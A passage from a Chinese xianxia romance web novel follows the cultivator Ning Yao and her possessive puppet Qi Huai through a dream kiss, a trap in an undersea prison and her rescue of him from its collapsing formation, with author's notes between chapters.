宁瑶眨了眨眼,发现两人的睫毛近得几乎要缠在一块儿。她心一慌,咬了咬下唇欲退却,可他力道不容拒绝,她只好先一步闭上了眼睛。 是否像先前那个梦一样? 可落在唇上的并非想象中的触感,而是某种毛茸茸的东西,正不紧不慢地扫过她的唇线。 宁瑶睁眼一看就见傀儡像一只恶劣的小狐狸,拿着一撮浅蓝色渐变的发辫尾部,在她唇上慢条斯理地轻轻扫过。 随着他摇晃的动作,银饰并未叮当作响。 宁瑶强装镇定地笑了笑,心里却在默默懊恼。 刚才为什么要闭眼? 难不成在期待什么? 看见小猫纠结的神情,心底病态的欢愉惹他低低笑起来,尾音带着点危险的意味:“主人,若我不愿再做傀儡了呢?” “那可不行。”宁瑶几乎是下意识反驳,话出口才意识到反应太大,像是被踩到尾巴的猫。 她赶紧干笑两声别过脸去,“我的意思是祁淮是我的傀儡,这样挺好的,不是吗?” 祁淮眼尾微垂,哼笑一声,笑得岂止无害,可眸底阴翳处掠过一抹暗芒。 压抑的情绪在阴影里堆积,像一潭幽深的水,无声无息,却快要漫出边缘。 此刻他最不愿听见的,便是“傀儡”二字。 宁瑶脸颊热意未散,心虚地伸手要把祁淮从身前推开。 谁知祁淮竟真的顺势向后倒去,眼看就要跌出床幔之外。 “小心!”宁瑶本能地慌忙伸手去拉,却被一道巧劲拽进泛着凉意的怀抱。 额头撞上他胸膛,底下心跳又急又重,不像平日那般属于傀儡的低缓。倒像骤雨打上芭蕉,躁动地敲在她耳膜。 惊讶梦的真实,她又恼又无奈她本能的反应,此刻这个姿势,她生出一点模糊的熟悉感。 祁淮唇角无声一弯,他终于确认了什么。宁瑶抬眼欲言,蓦地撞见一抹殷红飘过。 一张脸在她眼前蓦然放大,祁淮咬破了唇角,掌心轻轻地扣住她后颈,一手按着她塌下腰身,携着血腥气的一吻,不由分说地落了下来。 宁瑶惊得睁大眼睛,唇齿间漫开一股浓重的铁锈味,带着体温的液体随着血液滑入喉间。 她无意识地吞咽了一下,他却不肯放过,依旧缠着她轻轻厮磨,力道不轻不重,在心慌意乱的边界不停游走。 “你……”宁瑶刚要开口,反而被他趁机加深了这个吻。 后脑勺被微凉指腹轻轻扣住,看似安抚的动作,却带着不容挣脱的力道。 两辈子了,这是宁瑶第一次在梦里尝到如此真实的亲吻。 ——真实得让她心尖发颤。 陌生的酥麻感从相触的唇蔓延至全身,她惊无措地加重了力道。 直到唇间铁锈味更浓,祁淮舌尖轻擦过她的唇,才闷笑着松开她。 待到呼吸自由时,宁瑶满面绯红,偏过头去,轻咳得眼角沁出泪花。 祁淮眼眸暗芒划过,闲适地靠在床柱,轻舔过唇角残留的血渍,混合着某些逝去的温度。 他双眸微阖,仿佛在回味方才呼吸交缠的滋味,伸出手在宁瑶怔愣时,一丝不苟地替她擦去唇瓣的血渍。 指腹下的唇瓣,柔软温热驱散心底阴霾,那抹猩红比他所见的任何色彩都令人心惊。 祁淮眸光直直锁定微红的唇上,呼吸又悄然一滞。 叮铃叮铃…… 宁瑶眼神躲闪,脸颊烧得滚烫,连耳根都透着一层绯色。 一定是因为限制级剧情的作祟,白日又在思考祁淮之事,夜有所梦罢了。 给自己寻了个十分合适的理由,她瞧着眼前梦中的祁淮大胆举动,心慌中顿生一股恼意,毫不客气地咬上伸来的手腕,又一把放开。 祁淮忽的弯唇,轻轻摩挲手腕的印记,“还要不要再咬一口。” “不要。”宁瑶迟疑地抬眸瞪向他,声音带着低低喘息,“你刚刚,口中渡了我什么?” “我的……” 祁淮藏起隐秘占有,轻微歪头,回答似含糊在唇边,可宁瑶没能听清,这个光怪陆离的梦就在渐渐消散。 在彻底陷入沉睡前,她深深地望了祁淮一眼,试图将妖冶的眉眼刻进记忆里。 浑身一软,软绵绵的身形落入微凉的怀抱。 祁淮伸手接住她,指尖擦过她后颈的肌肤,竟像是触动了什么隐秘的牵连,引得他微凉的掌心微微发烫。 他不由自主地捧起她温热的脸颊,低头将唇贴在她纤细的后颈上。 那里传来奇异的搏动,仿佛与他血脉同频。 他忍不住轻轻厮磨,鼻尖萦绕着她身上清甜的香气。 可那馨香非但没能抚平他心头的躁动,反而像投入干柴内的火星,心底燃起一片滚烫的暗火。 * 晨光熹微,宁瑶缓缓地睁开眼,意识到什么猛地坐起身,她莫名心虚地看向纱幔之外。 她居然梦见傀儡吻了上来,微凉唇瓣的触感仿佛还残留着。 她懊恼地把脸埋进锦被。 难道是她心底还对洛子晟存着几分不该有的期盼,才会在梦里寻这般替代? 待会儿若是见到真正的祁淮…… 光是想象他此刻或许正在纱幔之外等着她,幽深的眸子望过来,她尴尬得脚趾蜷缩。 “定是前几日喝酒惹的祸……”宁瑶小声咕哝着,扯过锦被把自己裹成一团。 “主人醒了?” 听到熟悉的声音,宁瑶心悸一跳,她轻咳一声压住脸颊热意,“我醒了。” 她飞快掀开纱幔,佯装若无其事地瞟了祁淮一眼,可耳朵红晕还是出卖了她。 她洗漱完,祁淮熟练地上前为她梳理青丝,宁瑶看着铜镜中深蓝色人影,“让尤川……” 作者有话说:[裂开]病的头疼,出门看病了,后面补 第49章 “主人,还是让我来吧。”祁淮微微歪头,笑得有些微妙,目光穿过铜镜与她对上,又自然地垂眸避开,仿佛他还是那个最温驯无害的傀儡。 可隐秘的余光,早已无声落在宁瑶后颈未消的红痕上。 宁瑶脸颊热意压下,轻咳一声,把玩着一支玉兰发钗转移自己注意力,“这新来的傀儡,我还没瞧出他有什么本事。” “他不过值千金,很是手笨,比不得我。” 祁淮微歪头,嗓音压低,漆黑的眼底悄然聚起深浓的暗色,“何况,主人怕疼。” 宁瑶一怔,这话她确实曾对祁淮说过,没想到他竟一字不差地还了回来。 “记性还真好呀。”宁瑶干笑两声,耳根又不自觉地发烫。她本就有些心虚,揉了揉热意不散的耳垂。 若是往常,她定会坚持自己的想法,可偏偏昨日那场梦搅得她心绪不宁。 她竟没再推拒,而是悄悄用余光打量起祁淮的反应,“你来吧。” 祁淮依旧一副沉寂专注的模样,替她编起发辫时,指尖轻柔,并无异常。 宁瑶莫名地松了口气,肩膀一松,人也跟着昏昏欲睡起来。 昨夜没睡好,浑身都泛着酸软,定是睡姿不对吧。 宁瑶闭上眼打盹的片刻,祁淮微抬眸,幽深的目光愈发不加掩饰。 他的视线一寸寸描摹过宁瑶的眉眼、鼻尖、唇瓣,连她每一次呼吸的起伏,都清晰落入他眼底。 她打盹得迷糊,头一栽一栽,身子不自觉地往前一倾。 祁淮本可以轻拉住她的后领,却鬼使神差地伸出一只手,轻轻托住了她的下颌。 侧脸就这样蹭进他微凉的掌心,肌肤细腻温热,触手生温。 宁瑶被凉意惊得悠悠转醒,顺着手的力道抬眸,恰好撞进祁淮深不见底的眸底,仿佛一团漩涡,能吸引人的全部心神。 宁瑶看的入迷,思绪太乱,这和梦中他扣住她后颈的那一只手掌,温度如出一辙。 宁瑶只觉得脸颊“噌”地一下烧了起来,后知后觉地发烫。 她像只受惊的猫般猛地弹起,连带得身后的小凳都“哐当”一响。 她反应是不是太大了? 宁瑶心里打着鼓,赶忙干笑两声掩饰慌乱,手忙脚乱地整理好裙摆,确认仪态,嘴里念念有词:“那个,时辰不早了,我今日还得去寻荷长老呢。” 祁淮微微歪头,伸手想替她抚平微微卷起的袖口。 可宁瑶偏像被踩了尾巴似的,连退两步,扭头就往外窜,慌乱的背影,简直把“落荒而逃”四个字写得明明白白。 他忽然无声地勾起唇角,指尖轻轻捻了捻,仿佛还残留着一点她脸颊的温热触感。 可惜,转瞬即逝。 宁瑶一口气跑出门槛,直到步行庭中才停下。 她双手拍了拍脸颊,试图把那些乱七八糟的记忆都拍散。 特别是方才他指尖掠过时,那似有若无的凉意。 只因祁淮是一只傀儡,并无太多心思,她自然是无需伪装和顾忌,那自己跑什么? 宁瑶一边走一边琢磨此事,寻思着要是以后少跟祁淮接触,是不是那些乱七八糟的念头能自己消停呢? 宁瑶前脚刚迈出院门,就听见身后一轻一重两道脚步声跟了上来。 不用回头也知道,左边脚步轻盈的定是祁淮。 至于右边那个步伐僵硬,除了新得的傀儡尤川还能有谁。 祁淮今日隔着三步远不紧不慢地跟着,细碎的铃音清晰一响,似在无声诱哄着某人回眸注意。 宁瑶转身一看,两个傀儡齐刷刷顿住脚步,祁淮面容仍是挑不出的温良无害的浅笑。 轻松操纵一只傀儡跟随她,看她面上并无疑惑,他长睫半垂,压下眼底隐秘的欢愉。 宁瑶张了张口,“罢了,跟着吧。”任由两只“尾巴”跟在自己身后。 可她刚走几步,天边两道流光倏然而至,一左一右落下。 今日真是说不出来的热闹,见到洛子晟、夜烁卿,她就知道来活了。 洛子晟御剑而来,墨发在晨风中轻扬,浅蓝色衣袍衬得极为挺拔。 见到她时,清冷眸子骤然泛起微澜,心底泛起难以言喻的惊喜感。 清冷目光不着痕迹地将她从头到脚扫过,可注意到她脖颈后的尚未散去的淡痕,几不可察地皱眉,“昨日一事你受伤了?” “我没受伤。”宁瑶保持些距离,目光情不自禁地扫过他和祁淮一样的眉眼。 见此情形,被忽略的夜烁卿倒是笑盈盈,极为自然地往两人中间一站,整个人像只开了屏的孔雀,摇晃着玉笛。 洛子晟微微皱眉。 招摇的粉孔雀轻笑一声,胳膊肘碰了碰宁瑶的肩膀,眸光却直挺挺地看向洛子晟。 “她可不会轻易受伤,师妹分明硬朗得很。何况,昨日她与我同行,我岂会让师妹受伤,对不对?” “是。”宁瑶随口一说,实际脑袋在思考自己的事情。 夜烁卿笑着把玩玉笛,对宁瑶今日的上道极为开怀。 他目光扫过洛子晟瞬间冰冻的脸色,“洛师兄这般关怀,收着些好。”故意拉长语调,顿了顿才道,“毕竟往事不可追,破镜不重圆。” 洛子晟冷哼一声,长睫压下,视夜烁卿如无物:“不劳费心。” 夜烁卿不在意地扯了扯唇,眸光掠过宁瑶,笑而不语。 而身后的祁淮指尖轻轻拂过四角铃铛,见她目光竟是落在洛子晟身上,指尖微微收紧。 宁瑶思绪早就飘到了九霄云外,压根没留意身旁弥漫的火药味。 ……她会做那种梦,难道真的和洛子晟有关? 洛子晟察觉到宁瑶频频投来的探究目光,虽不明所以,但意识到她依然在关注自己,唇角几不可察地翘起半分,又迅速压平。 夜烁卿手中玉笛一转,见宁瑶不搭理自己,轻轻敲在宁瑶的额间:“回神了宁师妹,我这可有件大事要告诉你。” 宁瑶捂着额头,撇了撇嘴:“你又吊我胃口。” 夜烁卿桃花眼微弯,刚凑近要卖关子,祁淮不知何时立在身侧,不着痕迹地挡在二人之间。 他眼帘低垂,一副“人畜无害”的模样。 夜烁卿意味深长地瞥了祁淮一眼,收起玩笑神色,站直身形,语气凝重道:“青合宗的海底地牢出事了,那些待处决的弟子全数殒命,荷长老正召集所有弟子前往查探,我是来寻你的。” 宁瑶心底一惊,对于限制文没有的剧情她早已见怪不怪了,颔首道:“走吧,去看看。” * 待几人赶至青合宗大殿时,荷钰与秦莹已聚在一处低声商议,四周内门弟子列队静立,气氛顿时凝肃。 “海底地牢共分三层,依罪责轻重关押囚犯。出口仅有一处,外设坚不可摧的结界。” 秦莹指尖点向摊开的地图,在第三层位置一点,“他们就被关在此处。” 荷钰冷艳着容颜,看向秦莹比划的出口,清冷的眉宇微蹙,“此事甚是蹊跷。” 两位长老思及此,带着众弟子前往海底地牢。 宁瑶是头回见识青合宗这座海底牢狱了。 跟随着秦莹来到青合宗后山断崖处,只见她执令牌凌空一划,汹涌海水竟自分涌两侧,露出峭壁下那道仅容三人并行的幽深洞口。 原来这地牢每逢潮涨便会被海水淹没,凭法阵维系运转。 此刻虽值退潮,仍有海水倒灌入内,众人涉水而行,海水没过脚踝,空气中弥漫着咸腥潮湿的气味。 蛛网在结界微光中摇曳,愈往深处走,寒意愈重,越是湿冷。 宁瑶揉了揉冻着发红的耳垂,搓了搓胳膊,悄悄运转火灵力驱散寒意,火灵气傍身自然比其他人更能抗住冷。 抵达第三层地牢,驻守的剑修弟子见秦莹长老纷纷行礼。 一眼望去,只见牢内囚犯横七竖八倒卧在地,状若安睡。为首的弟子验尸后,沉声禀报:“皆是中了剧毒而亡。” “毒?”秦莹蹙眉,俯身细看尸身,“可辨出是何毒物?” “辨别不出。”弟子轻轻摇头。 局面陡然陷入僵局,秦莹长老主持此事,正想用“服毒自尽”四个字勉强给个交代压下议论,异变突生。 正当众人面面相觑之际,一名外围弟子跌跌撞撞冲进来,血污浸透了半幅衣衫,声音嘶哑:“长老,大事不好!囚、囚犯被人放跑了,妖兽潮还将地牢出口围住了。” 几乎同时,地上那些尸身竟“滋滋”作响,眨眼化作几摊猩红血水,刺鼻白雾腾起。 整个海底地牢随之剧烈摇晃,碎石簌簌砸落。 ——中计了! 宁瑶心头一紧,抬眼正对上几人同样惊讶的目光。 这海底地牢唯一的出口被封死,简直是请君入瓮。 更糟的是,几摊血水竟如活物般扭曲蠕动,数只形态狰狞的妖兽嘶吼着钻出。 原来连这些尸体都被利用,成了小型传送法阵的媒介。 谁这么恨,这是要他们全死在这里。 众人勉强应对,法诀与剑光齐飞,将扑来的妖兽逐一击退。 地牢摇晃得愈发猛烈,仿佛被无形巨手攥住狠狠甩动。 宁瑶长鞭对准妖兽,振动的地底惊得人一个趔趄,眼看要撞上尖锐石笋,腰间却陡然一紧。 祁淮苍白的指尖紧扣住她,顺势将人彻底护进怀里。清瘦的脊背硬生生挡住落石,闷响声中,他连眉梢都没动一下,“站稳了,主人。” “嗯。”她抬眸,眸光复杂,轻轻点头。 晚了一步的洛子晟,清冷眸光一暗。 夜烁卿桃花眼含着微妙的紧张,“师妹可还好?” “我很好。” 宁瑶被祁淮严严实实地护着,连片衣角都没擦破,其他人却已在碎石冲击下都带些狼狈。 两位长老掐诀念咒,淡金色的防护法阵将弟子们护在中央。妖兽咆哮着撞上光壁,虽震得法阵涟漪阵阵,但仍是争得了片刻喘息之机。 “轰隆。” 地牢的顶壁彻底开裂,海水如巨兽般咆哮灌入。 宁瑶想起祁淮身上可是精密傀儡部件,她心头一跳,慌忙从储物玉佩中摸出避水珠塞进他手心:“拿着。” “尤川拿着,救人。”宁瑶丢了个避水珠给他,尤川得令扶起最近受伤的弟子。 祁淮垂眸凝视掌心那枚莹润珠子,眼底掠过一丝暗芒,牵过她手腕,低声轻笑:“主人待我真好。” 宁瑶压根没留意到祁淮的小动作。 秦莹长老手中令牌光华流转,一道传送密令蕴藏其中,本是危急关头保命用的后路。 可她目光扫过周围惶恐的弟子们,心猛地一沉,这令牌的能量根本不够带走所有人。 “荷钰!”她当机立断,令牌抛给她,“你先带一批弟子撤。” 令牌在空中划出一道弧线,稳稳落入荷钰手中。 随着部分弟子身影消失在场,地牢内顿时空荡了许多。 秦莹长老握紧手中长剑,她护着身后剩余的弟子,一边挥剑斩退扑上来的妖兽,一边厉声道:“剩下的,跟我往外冲。” 众人一边抵挡汹涌袭来的妖兽,一边艰难地向二层退去,更要分神应付那些囚禁在此、尚未逃脱的亡命之徒。 不同宗门的弟子此刻却显出惊人的默契,在混乱中相互策应,且战且退。 宁瑶手中长鞭如灵蛇出洞,猛地卷住一头妖兽的利齿,顺势将云冉冉从血盆大口前拽开。 一个晃眼的功夫,巨响炸开,海水倒灌而入。整个地牢剧烈摇晃,崩落的碎石瞬间封住了通道前,不少人被激流冲散。 海水灌入鼻腔,身形被冲的左右摇晃,她提前使用了避水珠,意识中有一只微凉的手正牵引着她的手腕。 不知是不是剧情惯性作祟,待她游出抵达安全之处,通道内只剩下了洛子晟、夜烁卿,以及她和云冉冉二人。 宁瑶心头一紧,不由想起祁淮。她给了祁淮避水珠,他不会傻到让自己受伤。 现在根本不是分心的时候,四人合力杀出一条血路,终于在一层出口见到了前来接应的荷钰长老。 “可有人受伤?”荷钰长老急声问道。 “我们没事。”夜烁卿喘着气回答,一身狼狈。 宁瑶目光不自觉地飘向身后几乎要塌陷的通道。 三个时辰内,海底地牢外的妖兽潮被压制。 这次动荡波及范围极广,青合宗的援军虽迟迟未至,但好在秦莹长老与部分弟子他们挂了彩,也都逃出来了,包括新傀儡尤川。 只有祁淮,下落不明。 一股从未有过的不安感在宁瑶心中蔓延。 宁瑶来回踱步,正要悄然转身,洛子晟一把扣住她的手腕,清冷眸色第一次带着愠怒:“你要去哪?” “祁淮未出,我就近探查。”宁瑶皱眉,欲拂开他的手。 “不准去。”洛子晟反而加重手上力道,扣紧皓腕,“一个死物,一个傀儡,不足以你去冒险。” 作者有话说:[让我康康][让我康康][让我康康]补回来了,一直更新是在小修 第50章 宁瑶的目光倏然落在他紧握自己手腕的指节上。 这只手不似他那般微凉,透着不易察觉的冰灵气,脑海中掠过一张昳丽到雌雄莫辨的脸。 原来,在地牢海水中她差点被水流冲走时,牵引她的人是……祁淮。 宁瑶喉头哽了哽,垂下的长睫微颤,“值不值得该由我说了算,洛子晟。” 洛子晟看她这般,清冷眸色一沉,隐忍克制的面具又破碎一道狭隘的口,可瞧见宁瑶他微微屏息,软下声音:“海底地牢情况不明,不宜贸然行动,荷长老也不会随意让你单独行动。” 宁瑶轻轻颔首,咬紧牙关:“洛师兄,你放手吧。” 她从来不是冲动的人,道理她都明白,冲动之余大脑也清醒了。 若真意气用事,区区五灵根再到如今的单灵根,是如何能活到今天? 可祁淮不同…… 这个傀儡于她而言,本身的存在就是一种别样的依赖。 真可笑得她笑不出来。 一个死物,也让她这般挂心。 宁瑶垂眸不语,洛子晟却看清了她未曾掩饰的担忧。 或许她本人暂且不知,自以为掩饰得极好。她不曾问过自己是否安好,却反倒为一个傀儡悬心。 洛子晟眸色沉冷,倏地抬起她的手腕,迫使宁瑶抬眼相对,唇角掀起似嘲非讽的弧度,“不许去,宁瑶。” 他想起太多彼此之间的回忆,那些儿时她追在他后面,他停下脚步回眸便能看见一抹鹅黄。 彼此间相伴,中间从无第三人,可如今一切都变了。 “一个傀儡都能牵动你心神,那我呢?” 洛子晟执拗地凝着她,那张与祁淮别无二致的脸,甚至恍惚会让她生出少年就在身边的错觉。 若祁淮不是傀儡,也会这般露出如出一辙的神色吗? 宁瑶不由自主地在他脸上寻找熟悉的痕迹,遂放弃。 “洛子晟,你我婚约已解,如今追问这些不过自寻烦恼。” 压下心头隐隐约约的不安,她只得暗忖待此事平息定要去找祁淮。 可越是这般想,她越是郁闷至极。 若傀儡遭遇不测,而损毁…… 念头一闪,她心口猝然一疼。 那她便为他寻遍天下最好的傀儡师,一寸一寸修补回来。 * 荷钰仰首望向结界,海底地牢塌了大半,结界的光幕虽摇摇欲坠,却仍勉强支撑。 不知秦莹所说的结界阵眼还能支撑多久,外围这些妖兽还迟迟不肯退去。 见宁瑶走来,透过这张脸不由想起某人来,她耳目清晰,自是听见她和洛子晟的对话。 “地牢破毁,罪修定是往此逃离,子晟守在洞口负责逮人,你与烁卿一同负责看守罪修。” “是,荷长老。”宁瑶行弟子礼应下,心底却蓦地空了一块。有点事做也好,至少她能分一分神吧。 荷钰唇角牵起一个生硬的弧度,试图用笑意安抚一下。 可荷钰清冷的面容如寒玉,勉强挤出的笑比哭还难看。 宁瑶疑惑地眨了眨眼,心里直泛起嘀咕,荷钰长老似是每一次都会热衷于给她来一次皮笑肉不笑。 宁瑶恍然,谁让她是恶毒女配呢,这不喜的待遇也算标配。 荷钰终于收起折磨人的笑意,转身心下暗叹:笑,真是比炼丹还要难,这次没吓到人已是成功。 宁瑶随众弟子完成此事去了。 逃出的罪修个个狼狈不堪,被逐一制服押回,却仍不甘困缚,怨气沸腾。 “不服气也得忍着。”夜烁卿挑眉瞥了眼那个即便落魄仍端着架子的修士,挑眉瞟向宁瑶让她宽心。 宁瑶环顾四周,没见到想见的身影,她顿时有些失望,便也敛了心思。 ——眼下这些才该是自己该操心的事。 待到夜烁卿布下关押罪修的阵法,她一有时间便趁机询问众修士:“可曾见过一个身着深蓝长袍,戴着面具的少年?” 囚犯们或沉默,或讥讽,偶有几个含糊应答:“没看见。” “这么乱,谁注意得到?” “怕是早死了,我同牢友人就在眼前被乱石砸死了。”看她如此,老者唏嘘,“小姑娘还是放弃吧。” 宁瑶的心一点点沉下去,心口空落落的。 直至夜深,海底地牢的出口再无动静。 弟子们聚坐在潮湿的岩洞外的沙滩上,或修炼,或挤在一团聊天,宁瑶则在偏僻一隅托着腮发呆。 云冉冉医治完伤员,见她孤零零一个,便靠在她身旁的珊瑚,闭目打坐修炼。 洛子晟与众弟子井井有条的换岗巡逻,让她寻不到一点机会溜进去。 夜烁卿悄无声息地从她身后走近,他故意压下声音吓道:“哈!吓到到了吗,宁师妹?” 宁瑶早听到了他把玩玉笛的小小风声,但还是佯装被吓的姿态。 “夜师兄还玩小孩子把戏?” 他见此情形正要捧怀大笑,想到众人皆在休息,这才压下声音塞给她一颗灵果,笑得打趣:“见你不知在想什么?莫不是,一时半刻不见我,如隔三秋?” 宁瑶脸上绽放短暂的笑意,实在是被花孔雀厚脸皮逗的。 她压下最真实的想法,看向头顶的光壁,含糊地随口应答:“想这结界还能撑多久。” 夜烁卿指尖摩挲着玉笛上的刮痕,笑着压低声音:“师妹放心,援军不会太晚。” “你怎知?” 宁瑶抬眼打量夜烁卿,男二总让人有时捉摸不透,显山不漏水似的。 夜烁卿用笛尾轻敲她的发顶,见她脸上浮现不满地捂着头,弯唇倚着岩石阖目:“自然是我运气极好,言出法随。” 宁瑶不由地摇头失笑,“愿如师兄所言。” 翌日天光大亮,将崖底照得通明。 原本虎视眈眈围在结界外的妖兽,竟如潮水般悄无声息地退去。 结界自外围泛起涟漪,一道裂隙豁然洞开。 一位剑眉星目的中年男子迈步而入,周身凛冽的剑意尚未完全收敛,目光如电,不怒自威。 “宗主!”秦莹长老眸中一亮,率先迎上前去。 青合宗宗主傅翎抬手一挥,眉宇间凝着化不开的沉重:“速回宗门。” 这让众人心头一紧,当即押着囚犯自崖底飞身而上。 待赶到青合宗时,眼前的惨状惊得宁瑶倒吸凉气。 残垣断壁,血腥扑鼻,修士与妖兽的尸体交错横陈,每一张狰狞的面孔都在昭示昨夜惨烈的厮杀。 宁瑶瞳孔骤缩,青合宗这是……被血洗了? “怎会如此……”秦莹长老踉跄后退,被身旁弟子慌忙扶住才勉强站稳。 侥幸存活的弟子不足百人,分作两批:一批拼死赶往宗主闭关处求救,另一批则由男三明御带领,正是从天道宗匆匆赶来的援手。 宁瑶了然,这一路她都未见明御踪影,原是荷长老早有准备,去般救兵了。 哪怕焦急等待祁淮回来,可迟迟不见身影,寻找祁淮的事被迫搁置,因为接下来几日,宁瑶跟着荷长老清扫妖兽,救治伤患,忙得脚不沾地,简直要把学的急救知识全用上了。 只有偶尔在临时搭建的木屋小憩时,她会在浅眠中猛然惊醒。 恍惚中,梦里有一道黏稠阴湿的视线缠绕在脊背上,一寸寸描摹她的轮廓。 * 这般过去三日后,确认海底地牢不再震动坍塌,青合宗开始着手派人去搜寻海底地牢中的罪修可否还有活口。 夜间海风呼啸,宁瑶混入队伍中,摩挲着腰间的储物玉佩,她已摸清了洛子晟规划的巡逻后山的路径。 她寻了由头,便趁无人值守,偷偷潜入。 宁瑶拐进唯一的入口,里面四通八达,可她与祁淮本是主仆,是以血为契,本该心有感应。 可此刻这份感应,却被什么力量搅乱,反而是另一种更为微妙的存在,她无法忽视,脚下已下意识抬步往一个海底洞口跑去。 两道脚步声在幽深的隧道中无限放大…… 一人一傀儡,深一脚浅一脚往前走。 宁瑶哪怕有尤川在身侧护身,也难免被自己急促的呼吸声吓了一跳。 前方通道让乱石堵了个严实。 宁瑶赶紧指挥着傀儡去搬,在石块缝隙里瞥见一角熟悉的深蓝色布料。 是祁淮衣袍的料子! 宁瑶心头一跳,把碎布攥进手心,催着傀儡加紧刨出个窄洞。 她顾不得形象,飞速地往乱石上攀爬,越靠近洞口,她呼吸越是紧张地一急。 待宁瑶看向洞口内,抬眼就被眼前的景象钉在原地。 密室昏暗无光,中央的石台上的镶嵌灵石已尽数黯淡,而祁淮正单膝跪在台前,周身一地无灵力的石块,唯有掌心泛着微光,他的灵气正在源源不断灌入其中。 海底地牢的阵眼是中央的紫色灵石,外围阵法靠灵气驱动。若是灵石提供的灵力耗尽,那么外围的法阵自行消散,海底地牢便会坍塌的风险。 宁瑶慌忙钻过这道裂隙,顾不得裙摆手心剐蹭在嶙峋礁石上。 她忽然鼻尖发酸。 这家伙被水流冲来到这里,肯定是一边啃着她给的"零嘴",一边把最亮最有灵气的灵石都留给了护阵。 而那个傻子竟靠着这点灵石,独自在黑暗里撑了整整七日。 祁淮听到熟悉的脚步声,掀开眼皮,回眸时银铃轻响,恰见那一抹鹅黄身影向他狂奔而来。 ——小猫安好。这一次,是他的小猫自己找来了。 在她看不见的阴影里里,祁淮舔去唇上的血气。 宁瑶接住祁淮半跪在地的身形,他几乎把全身重量压在她肩上。阴郁地眸色在触及她时升温,宛若化不开的浓墨。 他等太久了。 久到他在想,宁瑶是不是不曾在意“傀儡。” 幸好,这一次小猫专程为他而来。 宁瑶身躯撑起他的身形,她慌忙摸出灵石往他手心里塞,声音发着颤:“你怎么自作主张!” 她又气又急,想去探查他的灵脉是否有异样,刚伸出手却被他反手扣住手腕十指紧扣。 祁淮佯装虚弱地看她一眼,宁瑶刚升起的异样感都烟消云散,反而自我宽慰定是祁淮几日未见她。 一个傀儡亦是不易。 “主人,我无恙。” “这还叫无恙?”宁瑶气得直哼,可见到他模样又软了态度,“放心,若是哪里不舒服都要告诉我,等出了青合宗,我定给你找最好的傀儡师!” 祁淮低笑一声,笑意未达眼底就凝住了。 他的视线越过宁瑶肩头,落在尤川身后,那道不知伫立多久的身影上。 祁淮暗叹自己带了面具,手指无力,不然正该掀开给洛子晟瞧一瞧。 洛子晟站在那里,目光晦暗不明。看着宁瑶为个傀儡急得团团转,她宁愿为一个傀儡花心思,都不愿回头看自己一眼。 倚在她肩头的傀儡,正用一种藏不住,绝对占有姿态的阴戾眼神回望他。 祁淮不再掩饰若有若无的视线,反而透出几分凉薄的杀机。 这一次,洛子晟捕捉到了刻意的敌意。 ……这傀儡是想杀他? 洛子晟冷笑出声,宁瑶这才猛地回头,“你怎么跟来的?” “若我不故意放水,拖延换岗间隙,你真以为能溜进来?”洛子晟声音依旧清冷,却带着不容置疑的威压,面上更是不怒自威。 宁瑶别开脸,把祁淮的胳膊往自己肩上架,用灵石替换了暗淡的石块,这才扶着祁淮站起身:“傀儡我找到了,不劳费心。” 祁淮歪头贴近宁瑶,银饰面具上挑的眼尾弯起,挑眉时带着几分掩饰不住顽劣的挑衅。 “早就觉得这傀儡不对劲,今日我便非瞧瞧这傀儡有何不同。” “你敢!” 眼见凝聚的冰剑而来。 宁瑶袖中灵鞭应声而出,长鞭燃起的灵火灼得噼啪作响。冰剑与长鞭相撞的一刹那,顿时腾起阵阵白雾。 洛子晟呼吸一滞,向来清冷的外表裂开细缝,生平头次尝到挫败的滋味。 他哪怕退婚也未曾想过两人有兵刃相向的一天。 洛子晟蹙眉,视线扫过宁瑶,心头不甘更添几笔。 宁瑶修为不够,如今金丹未结,原先打不过时,她最多比比嘴仗,从未真的与他动过手。 毕竟想起幼年时相伴的回忆,从前的“记忆”都在齐齐作祟。 宁瑶压下长睫,沉声道:“我的傀儡,你管不着。” 洛子晟身形一闪,欲扣住傀儡臂膀。 宁瑶本就不及他的修为,更别说带着个比自己高一头的傀儡。一时腾挪不开,举起长鞭阻挡。 祁淮眸色一沉,腕间银铃轻响,黑影自铃中窜出护主,怪怪直扑洛子晟手背。 洛子晟吃痛,捏住蛇尾甩开。 傀儡,怎么伴生携着一条黑蛇? “宁瑶,你的傀儡不对劲,你过来。”洛子晟清眸焦急道。 作者有话说:变天了,冷,码字冻手[捂脸笑哭]《 》 50-60 第51章 宁瑶心头掠过一丝异样,却见小黑蛇怪怪被甩飞出去,祁淮垂着眼睫不知道在想什么。 她害怕却仍强撑着,转向洛子晟眸光一凛,对小黑蛇柔声唤道:“怪怪,回来。” 小黑蛇嗖地游回他们脚边,依旧停在离宁瑶一步远的地方。 宁瑶挺直背脊,努力忽略那抹黝黑的存在,绝不能让洛子晟看出她底气不足。 洛子晟认得这条蛇。 当初宁瑶声称是自家养的,如今看来分明是谎话。 这护主的架势,分明是那傀儡养的东西。 “宁瑶。”洛子晟低声唤道。 祁淮眸光微沉,眼尾的余光全都系在宁瑶身上。 她会信他嘛? 宁瑶侧眸看向祁淮,愧疚与不安在心头翻涌。 她攥紧拳头,理智终究占据上风,转头对洛子晟扬起下巴:“我只知道一件事,是我的傀儡救了我,在这阵眼里撑过数日,让我免于妖兽潮的威胁。而我这个主人当得不称职,到现在才寻回他。所以,洛子晟你的的话,我一个字都不会信。” 洛子晟清冷的眸色一暗,身形一僵。 见她心意已决,不再听从于他,那股不满的阴暗沉沉压在心底,泛起密密麻麻的涩意。 这傀儡带着蛇,她护在一旁,连功法都试探不出虚实。他摩挲着手腕上的咬痕,没有毒,却让他的心口难受得发紧。 宁瑶不再看洛子晟的神情,压下心底翻涌的疑虑,召来尤川扶住祁淮的另一边胳膊,带着他们转身离去。 叮铃,叮铃…… 熟悉的铃音,已经多久没听到了? 即便如今身处昏暗潮湿,随时可能坍塌的海底地牢,这声音却让她没由来地安心。 这份安心,她已经很久很久没有感受过了。 她抬眸怔了一瞬,恰对上祁淮的视线。他的目光,至始至终都不曾离开过她。 “怎么这样看着我?”宁瑶被他近乎直白的目光看得稍显不自在,别扭着移开视线。 祁淮无声地勾起唇角,眼底暗沉沉的:“主人,以后别让我离开这么久。” 这句话直直扎进宁瑶心口。 她心头泛起酸涩的胀痛,愧疚地抬眼,却见他忽然倾身弯腰向前。 叮铃叮铃。 他的额头轻轻贴住了她的额角。 她长睫一颤,宛若蝶翼般轻颤,撒下一片阴翳。 微凉体温混着莫名的气氛,在地牢潮湿的阴暗中。 祁淮能瞧见宁瑶的眼睛清亮如星,里面是毫不掩饰的关切与担忧。 